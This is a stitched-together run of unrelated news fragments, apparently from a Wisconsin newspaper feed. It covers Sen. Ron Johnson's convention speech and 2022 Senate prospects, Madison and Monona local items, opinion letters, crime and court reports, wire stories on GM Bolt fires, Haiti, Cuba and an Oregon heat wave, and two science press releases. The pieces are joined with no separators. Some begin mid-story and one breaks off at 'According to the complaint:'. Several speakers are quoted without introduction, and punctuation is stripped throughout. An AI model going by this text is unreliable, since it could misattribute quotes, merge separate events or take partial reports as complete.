In his speech, Johnson cited examples of recent confrontations as evidence that the left has grown angry, including a man who approached him on an airplane, got in his face and called him a "disgrace," and a woman who followed him through the Milwaukee airport making the same statement.

The senator also referenced Milwaukee's Juneteenth celebration, where he said he had a generally positive experience but was booed and shouted at by a small group of people as he spoke to the press. Johnson blocked legislation to make Juneteenth a national holiday last year, but backed off this year. Johnson said he supports the holiday itself, but questions why federal employees need another paid day off.

Johnson called on Republicans to run candidates at every level of public office, arguing that the GOP has spent too much time focused on federal elections while letting seats go at the local levels.

"Take back our school boards, our county boards, our city councils. We will take back our culture. We don't have to fear this anymore," Johnson said, advocating the concept of "trickle-up elections."

Johnsons comments  which some critics said they believed were a cloaked reference to white supremacy  echoed the conclusion of Pat Buchanans culture war speech at the 1992 Republican National Convention: My friends, we must take back our cities, and take back our culture, and take back our country.

But Johnson closed his speech with a less political message, by encouraging both "random" and "extraordinary" acts of kindness. He focused in particular on two peoples stories: his former communications director, Voelkel; and Pastor Jerome Smith of Milwaukee, who died in April from complications of COVID-19.

Smith worked with Johnson to launch The Joseph Project  a faith-based initiative that seeks to train men and women, often with criminal backgrounds, and find them jobs with Wisconsin businesses. In a 2016 interview with the Cap Times, Smith said the Joseph Project has meant the difference between being able to buy a car, pay the utilities bill and put groceries on the table or not.

The pastor had been set to receive a kidney transplant in May. In his convention speech, Johnson shared that, after learning of Smiths work, a relative of one of his staffers had donated a kidney to another patient in need. This came months after Voelkel himself received a kidney transplant, and several Johnson staffers were tested to see if they were a match. One of those staffers ultimately did give Voelkel a kidney  and several others ended up donating theirs to other patients.

I want to leave you all thinking about the power of living a good life, of letting your light shine. Pastor Smith's light shone so bright that even in death, he saved other lives, Johnson said.

Several people familiar with Johnsons activities noted that the senator  whose estimated net worth is about $40 million  has been incredibly generous, financially, in ways that he does not take credit for. They shared several stories: Johnson paid for Smiths funeral, and has seeded college funds for the children of people in his community whose parents are sidelined with health issues.

It all ties back to the Senate offices mission statement, which is to help people, Voelkel said.

Referencing those acts of kindness, Johnson ended his convention speech by arguing that while the U.S. is not perfect, it can be "a phenomenal force for good."

"Our little democracy here, this marvel we call America, is but a blip in time. Its kind of tiny, its kind of insignificant on that scale. But man, is it rare and is it ever precious," he said, alluding to the 1997 film "Contact." "So its just my belief that it is our solemn duty, having been given this gift, something this rare, something this precious, its our duty to make sure that it not only survives for our kids and grandkids and great-grandkids  that it thrives."

The heart of that message has been part of Johnsons story for at least a decade. In a 2013 interview with The Atlas Society, the senator discussed his admiration for Ayn Rand, noting that he and Oshkosh businessman Ben Ganther had purchased an Atlas Shrugged statue together, commemorating the libertarian philosophers ode to small government and rugged individualism. Johnson chose the inscription: Fight To Be Free.

I believe humanity has been in an ongoing struggle for freedom. And one of the reasons I ran is because I see those freedoms in America threatened, Johnson said, discussing the phrase at the base of the statue. I always call it the 236-year-old experiment, and thats what we have here in this country. Its something precious, and Im concerned that were losing it.

Johnsons convention speech is in keeping with his message going forward  whether or not he seeks reelection  one GOP operative with knowledge of the senators thinking said.

Its us and our individual acts of kindness in our own communities, vs. the lefts radical agenda to basically remake America in their image using the heavy hand of government, the operative said. Theres maybe not a kinder, gentler Ron Johnson  but there is a thoughtful, caring Ron Johnson that the left misses.

Democrats dispute that characterization of Johnson and are champing at the bit to go toe-to-toe with the senator.

State Treasurer Sarah Godlewski, one of several Democratic primary candidates for the Senate seat, says the senator is delivering McCarthyism 2.0. Outagamie County Executive Tom Nelson says Johnson lit the match and Donald Trump poured the gasoline on it when he discusses the Jan. 6 attack on the Capitol. Milwaukee Bucks executive Alex Lasry has said he launched his campaign because Johnson has been peddling lies and conspiracies and doesnt represent the people of Wisconsin.

Theyre joined in the field by state Sen. Chris Larson of Milwaukee, Wausau physician Gillian Battino, former state Senate candidate Adam Murphy and Milwaukee attorney Peter Peckarsky. Millennial Action Project founder Steven Olikara has launched an exploratory committee, and Lt. Gov. Mandela Barnes has made moves signaling he will join the race.

In their speeches and statements thus far, Democrats have set their sights on Johnson. Godlewski opened her campaign announcement with side-by-side images of herself and Johnson, introducing herself as how do I put it nicely?  different from the Republican senator.

(My parents) taught me to work and tell the truth. Ron Johnson? Well, the truth really isnt his thing, Godlewski said in the video.

U.S. Rep. Mark Pocan, D-Town of Vermont, politely describes Johnson as quirky.

I kind of describe Ron as Tea Party before Tea Party and QAnon before QAnon. Hes who he is  hes a very unique individual, but its not necessarily a useful path for someone in the Senate trying to get things done. We know hes got his various white whales that he goes after on a regular basis.  Its next to impossible to get him to change that worldview. But at least hes consistent, I guess, Pocan said, acknowledging the Midwestern inclination to tack a compliment onto criticism.

Pocans advice to Democrats vying for the seat is to train their barbs on Johnson, and not on each other  much as he encouraged Democrats in a crowded gubernatorial primary field to direct their fire at then-Gov. Scott Walker in 2018.

U.S. Rep. Gwen Moore, D-Milwaukee, recommended a different approach.

Weve got a very talented field of people on the Democratic side. But I think its really important to not veer their message totally toward beating the second coming of Donald Trump, Moore said.

That was a very close election, and if they get a nominee like Ron Johnson, then thats one strategy, but if they get another candidate who is more center-right, it may be more difficult for a Democrat to run if theyre only going to run against not being the crazy person who was promoting conspiracy theories about the vaccine or denying climate change.

Democrats need a nominee who can be a standard-bearer for the partys priorities, and not just someone whos relying on a looney tune to run so they can present themselves as the alternative, Moore said.

I think they do want to run against him, because hes a target, Sykes said. They can run against a lot of that baggage, as opposed to a clean ideological fight. Theres too much static  he brings too much static  not to mention the fact that he would be the ultimate motivator for big Democratic turnout.

Some of Johnsons conservative critics accuse him of falling into a feedback loop, seduced by the praise of the Republican echo chamber. But at the same time, Johnson allies argue those critics are the ones ensnared in a quest for relevance, enjoying the novelty of being a conservative bucking the more controversial elements of the GOP.

Even though he has not yet announced that he is running, and I certainly hope he does, I am giving my Complete and Total Endorsement to Senator Ron Johnson of Wisconsin, Trump said in a statement released in April. He is brave, he is bold, he loves our Country, our Military, and our Vets. He will protect our Second Amendment, and everything else we stand for. It is the kind of courage we need in the U.S. Senate. He has no idea how popular he is. Run, Ron, Run!

No one really knows how popular Johnson is, as its been a while since a nonpartisan public opinion poll was released in Wisconsin  and even the states most respected polls have run into challenges since the 2016 election. The most recent Marquette University Law School poll to measure public opinion on Johnson was in October 2020; 38% of voters viewed him favorably while 36% viewed him unfavorably, and 26% didnt have an opinion or hadnt heard enough to form one.

If he chooses to run, Johnson will be the only Republican incumbent defending a Senate seat in a state that Biden won in 2020.

Conventional wisdom would suggest that the odds would favor a Republican Senate candidate in Wisconsin. Its a midterm election, and Democrats effectively control the White House and Congress, albeit with the tightest of margins. Being a two-term incumbent who trounced one of the states progressive folk heroes not once, but twice in a row, doesnt hurt, either.

Its the most absurd thing Ive ever heard, one Republican consultant said of Democrats hoping to run against Johnson rather than another GOP candidate. Republican operatives acknowledged that Johnson is likely an effective fundraising foil for Democrats, though.

If Johnson doesnt run, potential contenders include U.S. Rep. Mike Gallagher, Marine veteran and former U.S. Senate candidate Kevin Nicholson and former U.S. Rep. Sean Duffy.

I think whether its Ron Johnson or someone else, the Republicans are in a really precarious situation, said Democratic Party of Wisconsin spokesman Philip Shulman. Either hes vulnerable or hes going to be leaving a very short and very messy primary for whichever Republicans decide to run.

Sabato's Crystal Ball, at the University of Virginia Center for Politics, currently lists Wisconsin and North Carolina as leans Republican states in the 2022 election, while Pennsylvania is listed as a toss-up  although managing editor Kyle Kondik said those ratings are splitting hairs given how close the races in all three states are expected to be.

Usually youd rather run (against) an open seat than an incumbent, but my guess is that when its all said and done, there probably wouldnt be that much of a difference between how Johnson does and another Republican, unless that Republican was a really terrible substitute candidate, Kondik said.

The built-in incumbent advantage isnt as strong as it was a few decades ago, Kondik said, because voters are now less inclined to split their tickets and more inclined to rely on party ID when they cast their ballots.

Still, Kondik said, while Johnson is a lightning rod, he also defeated Feingold twice, and shouldnt be underestimated.

Pocan argued, however, that Johnsons 2016 victory wasnt solely a result of GOP efforts: Thanks to Hillary Clinton writing off Wisconsin, (we had) a 200,000-plus Democratic voter dropoff, and thats what killed us. It wasnt that Ron had this underground, wide support. We didnt have a presidential campaign in Wisconsin giving us resources that bring out voters.

You cant underestimate Johnson. He will find the money and the resources necessary to run an effective campaign, Wigderson said. You cant discount how short memories are for the general public, especially in this day and age, and you cant discount the effects of incumbency. He immediately commands attention with whatever he does, and then finally, theres the factor that hes running in a year that the Democrats occupy the White House.

Other Republican operatives arent worried about whether memories are short or long, though. Johnsons comments may rankle the left and even some in the middle and to the right, but most swing voters arent bothered by an elected official who speaks his mind, they argue.

One of his greatest strengths is  what you see is what you get. He is not somebody who is doing one thing for the cameras and then doing something else behind the scenes, Voelkel said.

Candor, authenticity and grit are frequently listed by GOP operatives as the senators strongest qualities.

Like Sabatos Crystal Ball, the Cook Political Report currently classifies the seat as one that leans Republican. At the same time, Johnson is the most vulnerable Republican incumbent if he decides to run again, said Jessica Taylor, the Senate analyst for the nonpartisan election forecaster, adding that Wisconsin may be one of the most evenly divided states in the country.

Over the past year, some of the ways that hes positioned himself  are certainly head-scratching for someone whos running in such a closely divided state. This has all given Democrats a lot of fodder, Taylor said. Certainly his comments about Jan. 6 that really fly in the face of facts, when theres concrete evidence  that this was a very violent and destructive scene that happened, an attack on the very seat of democracy. The comments hes made trying to downplay that, I think, could be some of the most damaging.

However, Taylor said, Johnsons track record means he shouldnt be counted out.

I ran in 2010 because I was panicked for this nation, Johnson said in a statement provided for this story. With our national debt exceeding $28 trillion and the radical left agenda being imposed by Democrats in Washington, Im even more concerned. Nothing the Biden administration or political actors on the left are doing will heal or unify our nation. In my speech to the Republican Party of Wisconsin convention in June, I proposed that our mission statement should recognize how precious America is and provide the leadership that will actually begin the healing process that most Americans desire.

In his 2013 interview with The Atlas Society, Johnson said he did not identify as much with the hero of Atlas Shrugged, John Galt, as much as he did with Hank Rearden  the self-made steel magnate who, in Johnsons words, refuse(s) until the very end to give up.

I guess I like to think of myself as more of a Hank Rearden. Im not going to give up. America is something far, far too precious in the span of human history.  Ill never give up hope on America, Johnson said.

Rand described Rearden this way: This was the simple essence of his universe: the instantaneous refusal to submit to disaster, the irresistible drive to fight it, the triumphant feeling of his own ability to win.

Share your opinion on this topic by sending a letter to the editor to tctvoice@madison.com. Include your full name, hometown and phone number. Your name and town will be published. The phone number is for verification purposes only. Please keep your letter to 250 words or less.
Im hoping that this name change will help as a small part in not only just improving relations between the city of Madison and the Ho-Chunk Nation, but to also be another small part of making sure people who live here know the history of this area and know that this is traditional Ho-Chunk land, Martin said. Weve lived here from time immemorial and remain here, and Ho-Chunk people will always be in this area.

The resolution acknowledges the history of the Ho-Chunk people, who were the first residents of Madison. They built effigy mounds in the area, which they called Teejop or Four Lakes, that were later destroyed when the city was developed.

In 1849, the federal government began forcibly removing the Ho-Chunk and removed them from Wisconsin, according to the resolution. They returned on foot to the state to live as refugees, and in 1875, were allowed to settle on unwanted lands.

The Ho-Chunk are the only tribe in Wisconsin who do not have a formal reservation. They are now one of Wisconsins 11 federally recognized tribes.

Share your opinion on this topic by sending a letter to the editor to tctvoice@madison.com. Include your full name, hometown and phone number. Your name and town will be published. The phone number is for verification purposes only. Please keep your letter to 250 words or less.
The city of Monona made a major acquisition last month: a late 1800s house and 10-acre lakefront property that was once home to priests from one of the oldest surviving orders of the Catholic Church. Frank Allis, son of the founder of the Allis-Chalmers farm machinery company, built the eclectic, 14-room house in the late 1800s in what was then the town of Blooming Grove. Located at 4123 Monona Drive, the property was deeded to the St. Norbert Abbey in 1929. The Norbertines used the building as a place of study for priests before leasing it to the Capuchin Province of St. Joseph in 1975. Since then, it's been known as the San Damiano Friary. In 2020, after standing vacant for several years, the property lost its tax-exempt status, and the abbey moved to demolish the building.
Just before the Republican-controlled Legislature sent its flawed budget to the governor, Democrats made one more attempt to expand Medicaid in the state, a move that would have brought $1.5 billion in federal money to Wisconsin.

But no Wisconsin Republican had changed his or her mind. It was more important to deny about 90,000 Wisconsin citizens health care coverage than accept federal funds that indirectly come from what these hard-headed politicians hate the most  Obamacare.

Now that these legislators have done their best to make sure Wisconsin doesn't do a thing to move the state forward and make it more fair for all its citizens, I would suggest they now get out of town before they cause any more damage.

Problem is, these politicians like to hang around, directing their bloated staffs to dream up frivolous legislation to keep their names before the folks back home at taxpayers' expense. Their legislative jobs are really part time, but they pay themselves as full-timers.
He had to uncap it last week after the Republican-controlled state Assembly and state Senate approved Assembly Bill 369, which would have required county and municipal governments to delay redrawing maps for county board and city council elections until after the 2022 spring election cycle.

Evers vetoed the bill because it would have mandated delays in the development of new maps for city council elections in cities across the state  including Dane County, Madison, Middleton, Monona and other communities  until April of 2023. At the same time, it would have delayed county board elections until April of 2024. The problem, as the governor explained, is that, this bill would result in local elections occurring for one or two more years under old district lines that were created as part of the same process that resulted in some of the most gerrymandered congressional and legislative seats in the country. To deny Wisconsinites  lawfully reapportioned local districts, even temporarily, is unjust and undemocratic.

The governor is right.

This veto is appropriate and necessary.
Dear Editor: The article by Katelyn Ferral, Unequal treatment, is certainly disturbing. But it seems to leave a couple of questions both unanswered and unasked.

Wisconsin Secretary of Veterans Affairs Mary Kolar says that all employees are encouraged to reach out to her with their concerns. Did she make that policy well-known, and if so, why didnt Tiffany Koehler reach out to her? Was Kolar aware of Koehlers complaint, or did the supervisor not inform her?

Later on, Kolar says that the department has set up channels for employees to offer concerns directly to the secretarys office. If thats true, then why was Koehler seemingly unaware of that?

Kolar and I were both on Capitol Neighborhoods Inc. a few years ago, so I know that shes not racist. She once told how during her 20 years in the Navy she defended a woman who was the victim of racism. Its possible that some people are not being forthright with her about the problems the VA may have.
JUNEAU  A 79-year-old town of Beaver Dams woman response to finding a stranger parked in her driveway led to a sixth offense drunken driving charge over the weekend.

Michael Fornetti, 51, Oregon, could face up to 10 years in prison if convicted of the charge. Fornetti appeared before Dodge County Court Commissioner Steven Seim. Fornetti was placed on a $5,000 signature bond. He must maintain absolute sobriety and he may not go upon the premises of any establishment whose primary business activity involves the sale or distribution of alcoholic beverages.

According to the criminal complaint, the woman reported the unfamiliar truck parked in her driveway on Sunday at 6:25 a.m. A Dodge County Sheriffs Deputy responded and found Fornetti sleeping in the drivers seat. The deputy stated Fornetti was incoherent, did not know his address or phone number and smelled of intoxicants. Fornetti allegedly admitted to drinking when speaking to the deputy. The deputy also noticed a beer can behind the drivers seat, but Fornetti denied drinking for at least seven hours before speaking to law enforcement. He said he pulled over in the driveway because he was tired.
DETROIT (AP)  General Motors is telling owners of some older Chevrolet Bolts to park them outdoors and not to charge them overnight because two of the electric cars caught fire after recall repairs were made.

The company said Wednesday that the request covers 2017 through 2019 Bolts that were part of a group that was recalled earlier due to fires in the batteries.

The latest request comes after two Bolts that had gotten recall repairs caught fire, one in Vermont and the other in New Jersey, GM spokesman Kevin Kelly said.

Owners should take the steps out of an abundance of caution, he said. The steps should be continued until GM engineers investigate and develop a repair, he said.

The cars should be parked outdoors after charging is complete, GM said in a statement. We are moving as quickly as we can to investigate this issue, the company said.

Vermont State Rep. Tim Briglin, whose 2019 Bolt caught fire, said he drove it to work and back home in Thetford, Vermont, on June 30, depleting the battery to around 10% of its range. He plugged it into a 240-volt outdoor charger around 8 p.m. and left the Bolt in his driveway after the car messaged that it would be fully recharged by 4 a.m.
If you go

What: Dane County Fair

When: Thursday through Sunday, with activities starting at 9 a.m.

Where: The Alliant Energy Center, 1919 Alliant Energy Center Way

Details: The daily schedule includes a Kiddie Farm from 9 a.m. to 8 p.m.; the Lady Houdini show at 1, 3 and 5 p.m., and the KidsBuck$ Game Show at 2, 4 and 6 p.m. Other activities and events can be found at danecountyfair.com.

Tickets: For children 5 and under, the fair is free. Daily admission for children ages 6 to 11 is $3 and $8 for anyone 12 and up. Tickets for unlimited rides are $30 and can be bought in advance online or at the door.
A former California man who sent nude photos of himself to a 12-year-old girl in Dane County  not knowing the girls age, his attorney maintained  was sentenced Tuesday to two years of probation.

Boyuan Liu, 27, a Chinese citizen who has been living in the United States and recently moved to Madison after living in San Diego and Cincinnati, will serve his sentence under more stringent sex offender probation. Also, should his probation be revoked, the sentence is structured so that he would automatically go to prison to serve a 1-year sentence, Dane County Circuit Judge John Hyland said.

Liu will also be listed on the states Sex Offender Registry for 15 years.

Liu and the girl, from Marshall, met through a website where women can meet Asian men. Lius lawyer, Chris Van Wagner, maintained that the girl did not make her age known to anyone seeing her online profile and did not tell Liu her age until after he had sent her photos of his genitals.

In May, Liu pleaded guilty to all three counts he faced of exposing a child to harmful material.
Madison police last week arrested a man who walked into the East Police District station and pointed what was later found to be an unloaded pellet gun, but told officers it was a joke and that he had wanted to do something memorable.

Joniahsun G. Lingis, 19, of Madison, was charged Tuesday with making terrorist threats and disorderly conduct for the July 7 incident at the East district, 809 S. Thompson Drive, on the citys Far East Side.

According to a criminal complaint, Officer Jacob Reno said he was at a work station near the reception desk just before noon when he saw a man in a hooded black sweatshirt walk up to the window.

Reno said he overheard a police report typist say, Dont point that at me, and put that down, and he looked over to see a man later identified as Lingis putting what appeared to be a firearm into the slot tray in the window.

Later, the complaint states, Lingis refused to put the weapon down and started to say he was going to kill everyone. He also said at one point, Its a joke.

Lingis appeared in court Tuesday and was released on a signature bond. He was ordered not to possess any weapon or be at any police or government building.

According to the complaint:
A western Wisconsin man was arrested Tuesday for participating in the siege on the U.S. Capitol Jan. 6.

Joshua Munn, who is from the small village of Melrose about 45 minutes northeast of La Crosse in Jackson County, has been charged for several offenses, including knowingly entering a restricted building unlawfully, when he allegedly stormed the U.S. Capitol with members of his family.

Munn appeared in federal court before Magistrate Judge Peter Oppeneer in Madison Tuesday. Munn was released with conditions he must follow before his next court date, which was set for July 21 in D.C. His case will now be handled in the U.S. District Court for the District of Columbia.

The Federal Defenders Office, which represented Munn in the hearing, said they have no comment on the case.

The FBI said it found evidence that Josh Munn, Kristi Munn, Thomas Munn, Dawn Munn and Kayli Munn were unlawfully inside the U.S. Capitol during the insurrection. They traveled to Washington, D.C., from Texas, but the Department of Justice said Josh now lives in Wisconsin.

The other four Munns  Kristi, Thomas, Dawn and Kayli  were arrested Tuesday in Borger, Texas, according to records in U.S. District Court for the District of Columbia.
Later in the hearing, he said the defense attorney didnt understand that the best thing long-winded lawyers can do in his courtroom is shut their pie holes. He also called the girl who was assaulted the so-called victim.

That same year, Woldt commented during a hearing that he would love to give a defendant a year in jail just for wasting his time. The next day he held a sentencing hearing in a burglary case. The judge gave a speech about the lack of security in the courthouse, pulled a handgun out from beneath his robe and told the defendant that if he had broken into his house, he would have killed him.

With todays laws ... youre lucky youre not dead because if you would have come into my house, I keep my gun with me and youd be dead, plain and simple. But thats what makes this so scary, the judge said.

He didnt point the gun at anyone in the courtroom and kept his finger off the trigger, according to the complaint. Judges are allowed to carry concealed weapons, but the justices concluded that Woldt was trying to intimidate the defendant and encourage victims to take matters into their own hands.
The one-time funds will be provided in addition to the $2.3 billion Wisconsin schools are expected to receive through Elementary and Secondary School Emergency Relief, or ESSER, and will be distributed to districts through one payment by the end of the year. Unlike ESSER, there isnt an expiration date regarding use of the additional funds.

Districts will be able to use the $100 million for non-pandemic-related expenses but, as LeMonds said, because the funds are a one-time distribution, they would likely and wisely not use (the funds) for recurring expenses.

Earlier this month, the Department of Public Instruction released a report that showed 140 school districts across the state, including Madison, could see a decrease in state general aid under the biennial budget. The report outlined that, under the spending plan, Madison could expect an estimated 13% decrease, or $5.1 million less, in general school aid. That estimate could change based on data and enrollment numbers at the beginning of the 2021-22 school year.

Madison already anticipates increasing property taxes by 3.83% on the upcoming December tax bill. The district plans to raise wages 3.23% next year, but has been in dispute with the teachers union over cementing those raises in contracts because of uncertainty about the state budget.
A statue of Wisconsins first black secretary of state outside the state Capitol came a little closer to reality Tuesday after a subcommittee settled on a location outside the buildings south side.

The state Capitol and Executive Residence Board subcommittee voted unanimously to recommend the board place a statue of Vel Phillips at the end of a wide sidewalk leading from the street to the Capitols south entrance.

The recommendation also calls for the board to waive policies prohibiting the addition of any internal or external monuments without removing an existing one and to commission New York-based artist Radcliffe Bailey to design the statue. Bailey was commissioned to design a monument to NAACP founder W.E.B. DuBois in Milwaukee.

The full board is expected to vote on the recommendation at a meeting sometime this fall, said state Department of Administration spokesperson Tatyana Warrick.

Phillips was the first Black woman to graduate from the University of Wisconsin Law School in 1951. She went on to become the first Black member of the Milwaukee Common Council and the states first Black judge. She won election in 1978 as the states first elected female and first non-white secretary of state.
Im old enough to remember when, along with lowering the debt and deficit, anti-protectionism and so-called family values, a strong opposition to population control was one of the bedrock principles of the conservative movement and Republican Party.

But apparently, like lowering the debt and deficit, anti-protectionism, and so-called family values, a strong opposition to population control has been another casualty of the Trump era, a faded memory of the right-wing populists who prefer owning the left over principles and policies.

How else to explain the utter weirdness that occurred on the right-wing, Trump-loving cable network Newsmax the other night?

Anchor Rob Schmitt, previously a host at Fox News, suggested that COVID-19 vaccines are generally kind of going against nature.

He added, Like, I mean, if there is some disease out there  maybe theres just an ebb and flow to life where somethings supposed to wipe out a certain amount of people, and thats just kind of the way evolution goes. Vaccines kind of stand in the way of that.
Haiti needs many things at the moment. American soldiers are not among them.

Interim Prime Minister Claude Joseph asked for U.S. military help after the assassination of President Jovenel Moise. We understand the request, but its one that President Biden should refuse.

If the troops would go to provide security, how long would they stay? Haiti hasnt been a secure country for decades, much less a free one.

And what would be the rules of engagement? No one knows for sure who planned and financed Moises killing. Given the labyrinthian nature of Haitian politics, soldiers could become targets for competing factions.

Still, there are ways for the Biden administration to help. There also are reasons to support such non-military American involvement.

From 1957 until 1986, the United States supported the dictatorial Duvalier regime. It began under Francois Papa Doc and continued under his son, Jean-Claude, known as Baby Doc.
Josiah Colt, a Treasure Valley resident, could plead guilty to charges this week in a Washington, D.C., federal court. According to Colts court docket, he is scheduled to appear via telephone Wednesday for a plea agreement hearing.
They are revolting against a corrupt communist dictatorship that has ruled that island with an iron fist for over 60 years, that is responsible for death and destruction, not just on the island of Cuba but really throughout the Western Hemisphere, DeSantis said at a news conference.

He said the demonstrators desire a free society."

Nationwide protests last year under the Black Lives Matter movement drew attention to racial injustice in the U.S. after the killings of Black people by police. Earlier this year, DeSantis signed into Florida law a measure that enhances penalties against protestors who turn violent and allows criminal penalties against those who organize protests that turn violent. DeSantis dismissed similarities between Black Lives Matter and Tuesday's demonstrators.

These are people that are rebelling against a communist dictatorship, the governor said. He said the demonstrations in Miami were fundamentally different than what we saw last summer.

DeSantis, who is said to be considering a run for the White House in 2024, declined a direct response when asked how Democratic President Joe Biden's administration should handle Cuba policy. But he said federal officials shouldn't be satisfied with small Cuban government accommodations designed to quell demonstrations.
For days, officials urged people to call a helpline that can connect them with health and social service organizations to learn about cooling centers and transportation. But as temperatures started rising, people said they couldn't get through to an operator.

We found out that 211 was not staffed during the weekend, so we asked what it would take to staff the center so people could get information they needed," and Fariborz Pakseresht, director of Oregons Department of Human Services. They told us they needed additional funding to staff the center. We then provided the funding and staffed the phone lines during the heat wave."

However, staffing was still limited, and people said there were long waits before they were connected to an operator. The Oregonian/OregonLive reported that hundreds of Multnomah County residents who called couldnt get through, leaving ailing people stranded in the heat or forcing them to call 911.

Cara Kangas, the helpline's partnerships director, told the newspaper that 80 callers got through on June 26  the start of the heat wave  and 15 were offered rides to cooling centers. More than 750 calls were abandoned, she said, although its unknown how many were seeking cooling information.
Operation Warp Speed was initiated by President Donald Trump on May 15, 2020, in an effort to rapidly and safely develop a vaccination for the COVID-19 disease. This wise response put the might of American scientific prowess to work developing, testing, and producing a widely available vaccine to get the world back on its feet. That effort was even more successful than was anticipated. After tens of thousands of tests and ongoing research, a safe vaccine with up to a 95% efficacy was made available to Americans starting last January. It has saved thousands of lives.

The reality is that an employer should not be forced to keep an employee who does not adhere to the standards and requirements of the enterprise. As an example, an engineering company needs to send an engineer to another country to perform their work will usually require multiple vaccines specific to the country or region. If the engineer refuses, then the employee is no longer of value to the company. Why should the employer be required to keep them on the payroll? The examples are numerous. The rights of employees to find work elsewhere are not being violated in any way.
A lot of one-time Virginia heroes came down last week. The departure of the Robert E. Lee statue in Charlottesville made national news.

The departure of Harry Byrd Sr.s statue from the State Capitol grounds drew less attention  even though you can argue that Byrd had more influence on Virginia than Lee ever did.

Byrd certainly lasted longer. Lees main claim to fame lasted for four bloody years. Byrd ruled  theres really no better word  over Virginia for four decades, and his parts of his legacy continue in state policy today.

Lee excites strange and misguided emotions from those who still cant reconcile themselves to the reality of what the Southern cause was all about. But Byrd is the more current figure and, therefore, the one we should be more concerned about.

Del. Wendell Walker, R-Lynchburg, could have had the credit for sending Byrds statue packing.

A year ago he introduced a bill to do just that. He intended it as a joke, though, a way to jibe Democrats who were trying to bring down Confederate statues. He thought theyd be offended since Byrd was a Democrat.

Instead, he was astonished when Democrats took him seriously and wanted to sign on to his measure.
A new study examined how specific bacteria alter the vaginal microenvironment and ultimately influence the balance between health and disease. Credit: University of Arizona

Bacterial vaginosis is the most common and recurrent gynecological condition affecting nearly 30% of women between the ages of 15 and 44, according to the U.S. Centers for Disease Control and Prevention. A University of Arizona Health Sciences-led study recently identified a specific bacteria family and uncovered how it contributes to bacterial vaginosis, paving the way for new insights into disease prevention and treatment.

Led by Melissa Herbst-Kralovetz, Ph.D., a member of the BIO5 Institute and associate professor of basic medical sciences at the College of MedicinePhoenix, researchers found that members of the Veillonellaceae bacteria family contribute to an increase in inflammation and cell death, and alter the acidity of the cervical microenvironment. These changes support bacterial vaginosis and create favorable conditions for subsequent gynecological diseases, such as sexually transmitted infections and cancer.

"Bacterial vaginosis is an enigma," said Dr. Herbst-Kralovetz, who is also director of the Women's Health Research Program. "We know many factors contribute to this disease, but little is known about the functional impact of the major players and how they're changing the local landscape."

The paper, "Veillonellaceae family members uniquely alter the cervical metabolic microenvironment in a human three-dimensional epithelial model," published July 6 in the journal npj Biofilms and Microbiomes, found that Veillonellaceae family members contribute to disease by altering inflammation and metabolism in the cervicovaginal region.

The female reproductive tract is typically colonized by bacteria that promote health, such as Lactobacillus. While these bacteria are considered friendly, an imbalance can lead to the creation of a biofilma consortium of many different harmful microbesthat promotes disease.

Last year, Dr. Herbst-Kralovetz and colleagues described a hypothetical model in which the interactions between microbes and human cells alter the vaginal microenvironment and ultimately influence the balance between health and disease. This study is the first to define a definitive role for this bacterial family in bacterial vaginosis.

Using a 3D human model, Dr. Herbst-Kralovetz's group evaluated the effects of three bacteriumVeillonella atypica, Veillonella montpellierensis, and Megasphaera micronuciformison the cervical microenvironment.

They found that two speciesV. atypica and V. montpellierensisdecreased lactate, an acid typically produced by beneficial bacteria that provides protection from harmful infections. These two species also increased substances that play a role in bacterial vaginosis-associated vaginal odor.

They also found that M. micronuciformis further drives disease progression by increasing inflammation and promoting cell death through the production of certain fat molecules.

Insights from this study lay the foundation for polymicrobial, or "multi-bug" studies, which can determine the complex interaction effects of multiple bacterial species on female reproductive health.

"Using this study and our 3D model as a foundation, we hope to determine if and how other species are altering the environment to contribute to bacterial vaginosis," Dr. Herbst-Kralovetz said. "We have found that different species have distinct contributions, so we also hope to categorize a variety of bacterial vaginosis -associated microbes based on their unique effects on the female reproductive tract."

Ultimately, Dr. Herbst-Kralovetz says this study and others like it can help to inform treatment and intervention strategies.

"It is important to know who the major players are, but also how they're influencing physiological processes and disease, so we can develop targeted strategies to treat bacterial vaginosis and prevent subsequent gynecological infections and cancer," she said.

Explore further Study shows novel protein plays role in bacterial vaginosis

More information: Mary E. Salliss et al, Veillonellaceae family members uniquely alter the cervical metabolic microenvironment in a human three-dimensional epithelial model, npj Biofilms and Microbiomes (2021). Mary E. Salliss et al, Veillonellaceae family members uniquely alter the cervical metabolic microenvironment in a human three-dimensional epithelial model,(2021). DOI: 10.1038/s41522-021-00229-0
Fig. 1 In vitro and in vivo implementation of the mirReporter assay.(A) Schematic overview of the experimental design (Dox, doxycycline; GFP, green fluorescent protein; IRES, internal ribosome entry site; LTR, long terminal repeat; Neo, neomycin; rtTA3, reverse tetracycline-controlled transactivator 3; PDX, patient-derived xenograft; TRE2, Tet response element 2; UBC, ubiquitin C promoter; 5cap = ). (B) Representative confocal microscopy images of induced GFP (green) expression in HeLa-mirRep145 cells treated with Dox (1 g/ml, 48 hours) (bottom) compared to phosphate-buffered saline (PBS)treated control cells (Dox) (top) (40 objective; scale bar, 50 m). (C) Representative confocal microscopy images showing decreased GFP expression (green) in Dox-treated HeLa-mirRep145 cells overexpressing miR-145 compared to HeLa-mirRep145 cells overexpressing mock miRNA and let7a [middle: red fluorescent protein (RFP) expression (red); right: GFP expression (green); 40 objective; scale bar, 50 m]. (D) Fluorescence-activated cell sorting (FACS) based on GFP expression in mirRep145-bearing EwS1-PDX (top) and EwS2-PDX (bottom) cells. (E) Quantitative real-time polymerase chain reaction (qRT-PCR) assessment of mature miR-145 expression in GFP+ and GFP subpopulations of EwS1-PDX carrying mirRep145 after in vivo induction, tumor dissociation, and cell sorting. (Mean  SD values of three technical replicates are shown. Statistical analysis was done by unpaired t test; ***P  0.001.) (F) Immunohistochemical assessment of GFP expression in tumor tissues of a EwS1-PDX-mirRep145injected control mouse (Dox) and a Dox-treated mouse (Dox+) (scale bars, 40 m; inset scale bar, 20 m).

An aggressive type of cancer has provided a team of researchers supported by the Swiss National Science Foundation with an answer to the question of which tumor cells are at risk of spreading.

Cancer treatment is sometimes complicated by the heterogeneity of the cells that form the tumor mass. The problem is how to identify the few cells that are capable of triggering metastases. Thanks to work carried out by a team of researchers supported by the Swiss National Science Foundation (SNSF), we now have a better understanding of how metastases form and which cells to target in therapy.

The researchers have succeeded in identifying and characterizing the most dangerous cells in Ewing's sarcoma, a very aggressive bone cancer with high potential for spread that primarily affects children and young adults. In particular, among the very active genes of these cells the team pinpointed a gene known to be associated with a poor prognosis. More specifically, this gene promotes the diffusion of cancer cells and the formation of metastases. The work has been published in the journal Science Advances.

